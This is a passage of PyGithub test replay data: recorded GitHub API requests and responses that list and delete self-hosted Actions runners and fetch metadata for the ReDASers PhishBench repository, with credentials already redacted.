('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C34E:041C:2E3B11C:4DFB2D2:5F56AF3B')] {"total_count":18,"runners":[{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} https DELETE api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners/1798 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:56 GMT'), ('Status', '204 No Content'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4885'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '115'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C34F:313C:A3419C:167BC1A:5F56AF3B')] https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"319e363a509450940f067a0664f144b4"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4884'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '116'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C38C:52FF:2A3EFA8:47A5772:5F56AF3C')] {"total_count":17,"runners":[{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e95d50aa8334be2e422c2ffe9614df24"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4883'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '117'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C38D:56EB:2F1A367:4E3245A:5F56AF3C')] {"total_count":17,"runners":[{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1684.testGetRunners.txt0000644000175100001660000001701514756101563024526 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f719fd52573a6ceae6b407d9acf8e535"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4921'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '79'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17C:0153:2C225EA:4BCDC9A:5F56AD8F')] {"total_count":19,"runners":[{"id":1363,"name":"0D80B14DC506","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]}]} https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"350cc5b181e4368b7aa3827a5e068520"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4920'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '80'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17D:5B42:2F23310:4DDF057:5F56AD8F')] {"total_count":19,"runners":[{"id":1363,"name":"0D80B14DC506","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest2408.setUp.txt0000644000175100001660000002203714756101563022625 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/Phishing-Detection {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 301 [('Server', 'GitHub.com'), ('Date', 'Mon, 30 Jan 2023 20:44:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '150'), ('Location', 'https://api.github.com/repositories/146139403'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '59'), ('X-RateLimit-Reset', '1675115093'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'B04C:123BD:55D24:574C4:63D82C45')] {"message":"Moved Permanently","url":"https://api.github.com/repositories/146139403","documentation_url":"https://docs.github.com/v3/#http-redirects"} https GET api.github.com None /repositories/146139403 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 30 Jan 2023 20:44:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ce5870ecf2f9b97e99aa263b585eee9ed22b5010a57c755a90a2eb0258e670c"'), ('Last-Modified', 'Tue, 13 Dec 2022 03:10:13 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '58'), ('X-RateLimit-Reset', '1675115093'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B058:16C1:584C3:59D28:63D82C45')] {"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2022-12-13T03:10:13Z","pushed_at":"2022-11-21T23:43:04Z","git_url":"git://github.com/ReDASers/PhishBench.git","ssh_url":"git@github.com:ReDASers/PhishBench.git","clone_url":"https://github.com/ReDASers/PhishBench.git","svn_url":"https://github.com/ReDASers/PhishBench","homepage":"","size":32572,"stargazers_count":6,"watchers_count":6,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":5,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":5,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":5,"open_issues":5,"watchers":6,"default_branch":"master","temp_clone_token":null,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":5,"subscribers_count":2} 